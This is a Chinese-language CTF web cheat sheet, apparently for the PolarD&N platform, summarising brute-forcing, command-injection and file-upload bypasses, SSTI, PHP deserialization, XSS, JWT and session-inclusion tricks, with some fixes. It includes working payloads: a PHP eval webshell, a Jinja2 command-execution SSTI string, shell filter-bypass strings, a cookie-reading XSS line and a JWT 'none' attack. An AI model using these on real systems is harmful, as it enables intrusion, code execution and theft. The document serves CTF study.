PolarD&N(WEB简单全解)
字数 2189 2025-08-30 06:50:27
CTF Web题目全解与知识点总结
目录
基础爆破技巧
验证码爆破
- 当验证码不可见或提示"验证码不重要"时,可尝试爆破
- 常见验证码如"0000"、"1234"等简单组合
- 使用Burp Suite的Intruder模块进行爆破
密码爆破
- 发现password.txt等敏感文件时,使用字典爆破
- 注意响应长度异常的条目,可能是正确密码
- 常用字典:rockyou.txt、常见弱口令字典
路径爆破
- 使用dirsearch、gobuster等工具扫描目录
- 常见敏感文件:robots.txt、flag.php、upload.php等
- 注意状态码200和403的区别
命令执行绕过
常见过滤绕过
-
空格绕过:
${IFS}%09(tab)<、<>
-
关键词过滤:
- 斜杠绕过:
c\at、/bi\n/sh - 双写绕过:
systsystemem - 替代函数:
passthru()替代system()
- 斜杠绕过:
-
特殊字符绕过:
- 使用
[代替_:c[md=ls - 使用变量拼接:
a=c;b=at; $a$b flag
- 使用
命令执行函数
system():执行系统命令并输出passthru():直接输出命令结果shell_exec():返回命令输出的字符串- 反引号:
`command`等同于shell_exec
文件上传漏洞
常见绕过方式
-
后缀名绕过:
- 双写:
pphphp - 大小写:
PhP - 特殊后缀:
.phtml、.php5
- 双写:
-
Content-Type绕过:
- 修改为
image/jpeg
- 修改为
-
文件头绕过:
- 添加GIF头
GIF89a
- 添加GIF头
利用流程
- 上传webshell(如
<?php @eval($_POST['cmd']);?>) - 使用蚁剑/冰蝎连接
- 查找flag文件(通常在
/var/www/、/tmp/等目录)
SSTI模板注入
检测方法
- 输入
{{7*7}}看是否返回49 - 输入
{{''.__class__}}测试Python环境
常用Payload
{{''.__class__.__base__.__subclasses__()}} # 列出所有子类
{{cycler.__init__.__globals__.os.popen('cat /flag').read()}} # Jinja2执行命令
修复方案
- 禁用危险过滤器
- 使用沙盒环境
PHP反序列化
魔术方法
__wakeup():反序列化时触发__destruct():对象销毁时触发__toString():对象被当作字符串时触发
利用链构造
- 寻找危险方法(如
eval()、system()) - 通过魔术方法触发
- 示例:
class Evil {
public $cmd = "system('ls');";
}
$obj = new Evil();
echo serialize($obj);
修复方案
- 避免反序列化用户输入
- 使用
hash_hmac验证数据完整性
XSS跨站脚本
常见绕过
-
标签过滤绕过:
- 双写:
<scr<script>ipt> - 大小写:
<ScRiPt>
- 双写:
-
事件处理器:
- ``
-
编码绕过:
- HTML实体编码
- JS Unicode编码
常用Payload
<script>alert(document.cookie)</script>
修复方案
- 输入过滤与输出编码
- CSP策略
目录扫描与信息收集
常用工具
- dirsearch
- gobuster
- nmap
常见敏感文件
robots.txt.git/phpinfo.phpbackup.zip
信息收集点
- 页面源代码注释
- JS文件中的API端点
- HTTP头信息
- Cookie中的敏感信息
代码审计技巧
关键函数
eval():直接执行PHP代码assert():断言函数可执行代码preg_replace():/e修饰符可执行代码unserialize():反序列化漏洞
危险配置
allow_url_include=Ondisplay_errors=On
审计流程
- 寻找用户输入点
- 跟踪输入流向
- 检查过滤是否充分
- 尝试绕过过滤
JWT攻击
攻击方式
- 修改算法:改为
none算法 - 密钥爆破:使用弱密钥
- 修改claims:如将
user:guest改为user:admin
工具
- jwt.io:在线解码
- jwt_tool:本地破解工具
修复方案
- 使用强密钥
- 验证算法
- 设置合理过期时间
Session文件包含
利用条件
- 知道session存储路径
- 能控制session内容
- 有文件包含漏洞
常见路径
/var/lib/php/sess_PHPSESSID/tmp/sess_PHPSESSID
利用步骤
- 获取PHPSESSID
- 向session写入PHP代码
- 包含session文件执行代码
其他技巧
MD5 0e绕过
- 已知0e开头的MD5:
- 240610708 → 0e462097431906509019562988736854
- QNKCDZO → 0e830400451993494058024219903391
特殊绕过
-
数组绕过:
param[]=xxx可能绕过某些检查
-
正则回溯绕过:
- 超长字符串导致正则引擎崩溃
UA伪造
- 修改User-Agent绕过设备检测
- 示例iPhone UA:
Mozilla/5.0 (iPhone; CPU iPhone OS 10_3_1 like Mac OS X) AppleWebKit/603.1.30 (KHTML, like Gecko) Version/10.0 Mobile/14E304 Safari/602.1
XFF头伪造
- 添加
X-Forwarded-For: 127.0.0.1绕过IP限制
以上总结了CTF Web题目中的常见漏洞类型和解题技巧,涵盖了从基础到进阶的各种知识点。在实际应用中,需要根据题目环境灵活组合这些技术,并注意最新的绕过方法和防御措施。